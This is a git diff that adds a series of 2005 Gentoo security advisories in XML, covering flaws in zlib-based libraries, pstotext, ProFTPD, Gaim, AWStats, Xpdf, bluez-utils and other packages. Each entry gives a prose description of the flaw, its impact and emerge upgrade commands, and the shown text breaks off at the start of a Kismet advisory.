+    <p>
+    By creating a specially crafted compressed data stream, attackers can
+    overwrite data structures for applications that use the x86 emulation
+    base libraries for AMD64, resulting in a Denial of Service and
+    potentially arbitrary code execution.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All AMD64 x86 emulation base libraries users should upgrade to the
+    latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose app-emulation/emul-linux-x86-baselibs</code>
+  </resolution>
+  <references>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200507-05.xml">GLSA 200507-05</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200507-19.xml">GLSA 200507-19</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1849">CAN-2005-1849</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2096">CAN-2005-2096</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 30 Jul 2005 08:48:26 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 30 Jul 2005 08:50:21 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 30 Jul 2005 09:53:12 +0000">
+    adir
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200507-29.xml b/xml/htdocs/security/en/glsa/glsa-200507-29.xml
new file mode 100644
index 00000000..2c652690
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200507-29.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200507-29">
+  <title>pstotext: Remote execution of arbitrary code</title>
+  <synopsis>
+    pstotext contains a vulnerability which can potentially result in the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">pstotext</product>
+  <announced>July 31, 2005</announced>
+  <revised>August 11, 2005: 02</revised>
+  <bug>100245</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/pstotext" auto="yes" arch="*">
+      <unaffected range="ge">1.8g-r1</unaffected>
+      <vulnerable range="lt">1.8g-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    pstotext is a program that works with GhostScript to extract plain text
+    from PostScript and PDF files.
+    </p>
+  </background>
+  <description>
+    <p>
+    Max Vozeler reported that pstotext calls the GhostScript interpreter on
+    untrusted PostScript files without specifying the -dSAFER option.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could craft a malicious PostScript file and entice a user
+    to run pstotext on it, resulting in the execution of arbitrary commands
+    with the permissions of the user running pstotext.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All pstotext users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/pstotext-1.8g-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2536">CAN-2005-2536</uri>
+    <uri link="http://secunia.com/advisories/16183/">Secunia Advisory SA16183</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 30 Jul 2005 18:50:03 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 30 Jul 2005 18:53:14 +0000">
+    adir
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 30 Jul 2005 19:15:41 +0000">
+    adir
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200508-01.xml b/xml/htdocs/security/en/glsa/glsa-200508-01.xml
new file mode 100644
index 00000000..a189b348
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200508-01.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200508-01">
+  <title>Compress::Zlib: Buffer overflow</title>
+  <synopsis>
+    Compress::Zlib is vulnerable to a buffer overflow which could potentially
+    lead to execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">Compress-Zlib</product>
+  <announced>August 01, 2005</announced>
+  <revised>May 28, 2009: 02</revised>
+  <bug>100540</bug>
+  <access>remote</access>
+  <affected>
+    <package name="perl-core/Compress-Zlib" auto="yes" arch="*">
+      <unaffected range="ge">1.35</unaffected>
+      <vulnerable range="lt">1.35</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Compress::Zlib is a Perl module which provides an interface to
+    the zlib compression library.
+    </p>
+  </background>
+  <description>
+    <p>
+    Compress::Zlib 1.34 contains a local vulnerable version of zlib,
+    which may lead to a buffer overflow.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    By creating a specially crafted compressed data stream, attackers
+    can overwrite data structures for applications that use Compress::Zlib,
+    resulting in a Denial of Service and potentially arbitrary code
+    execution.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Compress::Zlib users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=perl-core/Compress-Zlib-1.35&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200507-19.xml">GLSA 200507-19</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200507-05.xml">GLSA 200507-05</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1849">CAN-2005-1849</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2096">CAN-2005-2096</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 28 Jul 2005 11:43:56 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 29 Jul 2005 23:24:17 +0000">
+    adir
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 01 Aug 2005 05:55:33 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200508-02.xml b/xml/htdocs/security/en/glsa/glsa-200508-02.xml
new file mode 100644
index 00000000..6d657876
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200508-02.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200508-02">
+  <title>ProFTPD: Format string vulnerabilities</title>
+  <synopsis>
+    Under specific circumstances, ProFTPD is vulnerable to format string
+    vulnerabilities, potentially resulting in the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">proftpd</product>
+  <announced>August 01, 2005</announced>
+  <revised>August 01, 2005: 01</revised>
+  <bug>100364</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-ftp/proftpd" auto="yes" arch="*">
+      <unaffected range="ge">1.2.10-r7</unaffected>
+      <vulnerable range="lt">1.2.10-r7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ProFTPD is a configurable GPL-licensed FTP server software.
+    </p>
+  </background>
+  <description>
+    <p> "infamous42md" reported that ProFTPD is vulnerable to format
+    string vulnerabilities when displaying a shutdown message containing
+    the name of the current directory, and when displaying response
+    messages to the client using information retrieved from a database
+    using mod_sql.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could create a directory with a malicious name
+    that would trigger the format string issue if specific variables are
+    used in the shutdown message, potentially resulting in a Denial of
+    Service or the execution of arbitrary code with the rights of the user
+    running the ProFTPD server. An attacker with control over the database
+    contents could achieve the same result by introducing malicious
+    messages that would trigger the other format string issue when used in
+    server responses.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Do not use the "%C", "%R", or "%U" in shutdown messages, and do
+    not set the "SQLShowInfo" directive.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ProFTPD users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-ftp/proftpd-1.2.10-r7&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2390">CAN-2005-2390</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 27 Jul 2005 14:13:46 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 30 Jul 2005 00:11:05 +0000">
+    adir
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 31 Jul 2005 14:18:50 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200508-03.xml b/xml/htdocs/security/en/glsa/glsa-200508-03.xml
new file mode 100644
index 00000000..6f7af32e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200508-03.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200508-03">
+  <title>nbSMTP: Format string vulnerability</title>
+  <synopsis>
+    nbSMTP is vulnerable to a format string vulnerability which may result in
+    remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">nbsmtp</product>
+  <announced>August 02, 2005</announced>
+  <revised>August 11, 2005: 02</revised>
+  <bug>100274</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-mta/nbsmtp" auto="yes" arch="*">
+      <unaffected range="ge">1.00</unaffected>
+      <vulnerable range="lt">1.00</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    nbSMTP is an SMTP client suitable to run in chroot jails, in embedded
+    systems, laptops and workstations.
+    </p>
+  </background>
+  <description>
+    <p>
+    Niels Heinen discovered a format string vulnerability.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker can setup a malicious SMTP server and exploit this
+    vulnerability to execute arbitrary code with the permissions of the
+    user running nbSMTP.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All nbSMTP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-mta/nbsmtp-1.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2409">CAN-2005-2409</uri>
+    <uri link="http://nbsmtp.ferdyx.org/">nbSMTP official site</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 29 Jul 2005 15:56:07 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 29 Jul 2005 23:01:19 +0000">
+    adir
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 02 Aug 2005 12:46:50 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200508-04.xml b/xml/htdocs/security/en/glsa/glsa-200508-04.xml
new file mode 100644
index 00000000..849c257d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200508-04.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200508-04">
+  <title>Netpbm: Arbitrary code execution in pstopnm</title>
+  <synopsis>
+    The pstopnm utility, part of the Netpbm tools, contains a vulnerability
+    which can potentially result in the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">Netpbm</product>
+  <announced>August 05, 2005</announced>
+  <revised>May 28, 2009: 06</revised>
+  <bug>100398</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/netpbm" auto="yes" arch="*">
+      <unaffected range="ge">10.28</unaffected>
+      <unaffected range="rge">10.26.32</unaffected>
+      <unaffected range="rge">10.26.33</unaffected>
+      <unaffected range="rge">10.26.42</unaffected>
+      <unaffected range="rge">10.26.43</unaffected>
+      <unaffected range="rge">10.26.44</unaffected>
+      <unaffected range="rge">10.26.48</unaffected>
+      <unaffected range="rge">10.26.49</unaffected>
+      <unaffected range="rge">10.26.59</unaffected>
+      <unaffected range="rge">10.26.61</unaffected>
+      <vulnerable range="lt">10.28</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Netpbm is a package of 220 graphics programs and a programming
+    libraries, including pstopnm. pstopnm is a tool which converts
+    PostScript files to PNM image files.
+    </p>
+  </background>
+  <description>
+    <p>
+    Max Vozeler reported that pstopnm calls the GhostScript interpreter on
+    untrusted PostScript files without specifying the -dSAFER option, to
+    convert a PostScript file into a PBM, PGM, or PNM file.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could craft a malicious PostScript file and entice a user
+    to run pstopnm on it, resulting in the execution of arbitrary commands
+    with the permissions of the user running pstopnm.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Netpbm users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose media-libs/netpbm</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2471">CAN-2005-2471</uri>
+    <uri link="http://secunia.com/advisories/16184/">Secunia Advisory SA16184</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 02 Aug 2005 10:10:20 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 02 Aug 2005 11:24:11 +0000">
+    adir
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 05 Aug 2005 10:42:23 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200508-05.xml b/xml/htdocs/security/en/glsa/glsa-200508-05.xml
new file mode 100644
index 00000000..897de7a5
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200508-05.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200508-05">
+  <title>Heartbeat: Insecure temporary file creation</title>
+  <synopsis>
+    Heartbeat is vulnerable to symlink attacks, potentially allowing a local
+    user to overwrite arbitrary files.
+  </synopsis>
+  <product type="ebuild">Heartbeat</product>
+  <announced>August 07, 2005</announced>
+  <revised>August 07, 2005: 01</revised>
+  <bug>97175</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-cluster/heartbeat" auto="yes" arch="*">
+      <unaffected range="ge">1.2.3-r1</unaffected>
+      <vulnerable range="lt">1.2.3-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Heartbeat is a component of the High-Availability Linux project.
+    It it used to perform death-of-node detection, communications and
+    cluster management.
+    </p>
+  </background>
+  <description>
+    <p>
+    Eric Romang has discovered that Heartbeat insecurely creates
+    temporary files with predictable filenames.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create symbolic links in the temporary file
+    directory, pointing to a valid file somewhere on the filesystem. When a
+    vulnerable script is executed, this could lead to the file being
+    overwritten with the rights of the user running the affected
+    application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Heartbeat users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-cluster/heartbeat-1.2.3-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2231">CAN-2005-2231</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 05 Aug 2005 07:37:14 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 05 Aug 2005 14:33:59 +0000">
+    formula7
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 05 Aug 2005 14:54:26 +0000">
+    formula7
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200508-06.xml b/xml/htdocs/security/en/glsa/glsa-200508-06.xml
new file mode 100644
index 00000000..9ad35420
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200508-06.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200508-06">
+  <title>Gaim: Remote execution of arbitrary code</title>
+  <synopsis>
+    Gaim is vulnerable to a buffer overflow which could lead to the execution
+    of arbitrary code or to a Denial of Service.
+  </synopsis>
+  <product type="ebuild">Gaim</product>
+  <announced>August 15, 2005</announced>
+  <revised>August 15, 2005: 01</revised>
+  <bug>102000</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-im/gaim" auto="yes" arch="*">
+      <unaffected range="ge">1.5.0</unaffected>
+      <vulnerable range="lt">1.5.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Gaim is a full featured instant messaging client which handles a
+    variety of instant messaging protocols.
+    </p>
+  </background>
+  <description>
+    <p>
+    Brandon Perry discovered that Gaim is vulnerable to a heap-based
+    buffer overflow when handling away messages (CAN-2005-2103).
+    Furthermore, Daniel Atallah discovered a vulnerability in the handling
+    of file transfers (CAN-2005-2102).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could create a specially crafted away message
+    which, when viewed by the target user, could lead to the execution of
+    arbitrary code. Also, an attacker could send a file with a non-UTF8
+    filename to a user, which would result in a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Gaim users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-im/gaim-1.5.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2102">CAN-2005-2102</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2103">CAN-2005-2103</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 12 Aug 2005 08:01:27 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 12 Aug 2005 19:16:18 +0000">
+    formula7
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 13 Aug 2005 08:53:41 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200508-07.xml b/xml/htdocs/security/en/glsa/glsa-200508-07.xml
new file mode 100644
index 00000000..ae8e8e77
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200508-07.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200508-07">
+  <title>AWStats: Arbitrary code execution using malicious Referrer information</title>
+  <synopsis>
+    AWStats fails to validate certain log input, which could lead to the
+    execution of arbitrary Perl code during the generation of the statistics.
+  </synopsis>
+  <product type="ebuild">awstats</product>
+  <announced>August 16, 2005</announced>
+  <revised>May 28, 2009: 02</revised>
+  <bug>102145</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-misc/awstats" auto="yes" arch="*">
+      <unaffected range="ge">6.5</unaffected>
+      <vulnerable range="lt">6.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    AWStats is an advanced log file analyzer and statistics generator.
+    In HTTP reports it parses Referrer information in order to display the
+    most common Referrer values that caused users to visit the website.
+    </p>
+  </background>
+  <description>
+    <p>
+    When using a URLPlugin, AWStats fails to sanitize Referrer URL
+    data before using them in a Perl eval() routine.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker can include arbitrary Referrer information in a
+    HTTP request to a web server, therefore injecting tainted data in the
+    log files. When AWStats is run on this log file, this can result in the
+    execution of arbitrary Perl code with the rights of the user running
+    AWStats.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Disable all URLPlugins in the AWStats configuration.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All AWStats users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-misc/awstats-6.5&quot;</code>
+    <p>
+    Note: Users with the vhosts USE flag set should manually use
+    webapp-config to finalize the update.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1527">CAN-2005-1527</uri>
+    <uri link="http://www.idefense.com/application/poi/display?id=290&amp;type=vulnerabilities">iDEFENSE Advisory</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Fri, 12 Aug 2005 17:33:30 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 13 Aug 2005 08:56:51 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200508-08.xml b/xml/htdocs/security/en/glsa/glsa-200508-08.xml
new file mode 100644
index 00000000..b4bd6ae8
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200508-08.xml
@@ -0,0 +1,103 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200508-08">
+  <title>Xpdf, Kpdf, GPdf: Denial of Service vulnerability</title>
+  <synopsis>
+    Xpdf, Kpdf and GPdf may crash as a result of a Denial of Service
+    vulnerability.
+  </synopsis>
+  <product type="ebuild">xpdf kpdf gpdf</product>
+  <announced>August 16, 2005</announced>
+  <revised>August 16, 2005: 01</revised>
+  <bug>99769</bug>
+  <bug>100263</bug>
+  <bug>100265</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/xpdf" auto="yes" arch="*">
+      <unaffected range="ge">3.00-r10</unaffected>
+      <vulnerable range="lt">3.00-r10</vulnerable>
+    </package>
+    <package name="kde-base/kdegraphics" auto="yes" arch="*">
+      <unaffected range="ge">3.3.2-r3</unaffected>
+      <vulnerable range="lt">3.3.2-r3</vulnerable>
+    </package>
+    <package name="kde-base/kpdf" auto="yes" arch="*">
+      <unaffected range="ge">3.4.1-r1</unaffected>
+      <vulnerable range="lt">3.4.1-r1</vulnerable>
+    </package>
+    <package name="app-text/gpdf" auto="yes" arch="*">
+      <unaffected range="ge">2.10.0-r1</unaffected>
+      <vulnerable range="lt">2.10.0-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Xpdf, Kpdf and GPdf are PDF file viewers that run under the X
+    Window System. Kpdf and GPdf both contain Xpdf code. Kpdf is also part
+    of kdegraphics.
+    </p>
+  </background>
+  <description>
+    <p>
+    Xpdf, Kpdf and GPdf do not handle a broken table of embedded
+    TrueType fonts correctly. After detecting such a table, Xpdf, Kpdf and
+    GPdf attempt to reconstruct the information in it by decoding the PDF
+    file, which causes the generation of a huge temporary file.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker may cause a Denial of Service by creating a
+    specially crafted PDF file, sending it to a CUPS printing system (which
+    uses Xpdf), or by enticing a user to open it in Xpdf, Kpdf, or GPdf.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Xpdf users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/xpdf-3.00-r10&quot;</code>
+    <p>
+    All GPdf users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/gpdf-2.10.0-r1&quot;</code>
+    <p>
+    All Kpdf users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=kde-base/kdegraphics-3.3.2-r3&quot;</code>
+    <p>
+    All KDE Split Ebuild Kpdf users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=kde-base/kpdf-3.4.1-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2097">CAN-2005-2097</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 12 Aug 2005 15:22:33 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 12 Aug 2005 20:47:38 +0000">
+    adir
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 13 Aug 2005 08:53:33 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200508-09.xml b/xml/htdocs/security/en/glsa/glsa-200508-09.xml
new file mode 100644
index 00000000..be8e16c7
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200508-09.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200508-09">
+  <title>bluez-utils: Bluetooth device name validation vulnerability</title>
+  <synopsis>
+    Improper validation of Bluetooth device names can lead to arbitrary command
+    execution.
+  </synopsis>
+  <product type="ebuild">bluez-utils</product>
+  <announced>August 17, 2005</announced>
+  <revised>August 17, 2005: 01</revised>
+  <bug>101557</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-wireless/bluez-utils" auto="yes" arch="*">
+      <unaffected range="ge">2.19</unaffected>
+      <vulnerable range="lt">2.19</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    bluez-utils are the utilities for use with the BlueZ
+    implementation of the Bluetooth wireless standards for Linux.
+    </p>
+  </background>
+  <description>
+    <p>
+    The name of a Bluetooth device is improperly validated by the hcid
+    utility when a remote device attempts to pair itself with a computer.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could create a malicious device name on a Bluetooth
+    device resulting in arbitrary commands being executed as root upon
+    attempting to pair the device with the computer.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There are no known workarounds at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All bluez-utils users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-wireless/bluez-utils-2.19&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2547">CAN-2005-2547</uri>
+    <uri link="http://cvs.sourceforge.net/viewcvs.py/bluez/utils/ChangeLog?rev=1.28&amp;view=markup">bluez-utils ChangeLog</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 09 Aug 2005 20:35:32 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 10 Aug 2005 02:45:23 +0000">
+    r2d2
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 17 Aug 2005 13:18:39 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200508-10.xml b/xml/htdocs/security/en/glsa/glsa-200508-10.xml
new file mode 100644
index 00000000..d2cccf26
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200508-10.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200508-10">
+  <title>Kismet: Multiple vulnerabilities</title>
+  <synopsis>
+    Kismet is vulnerable to multiple issues potentially resulting in the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">Kismet</product>
+  <announced>August 19, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>102702</bug>
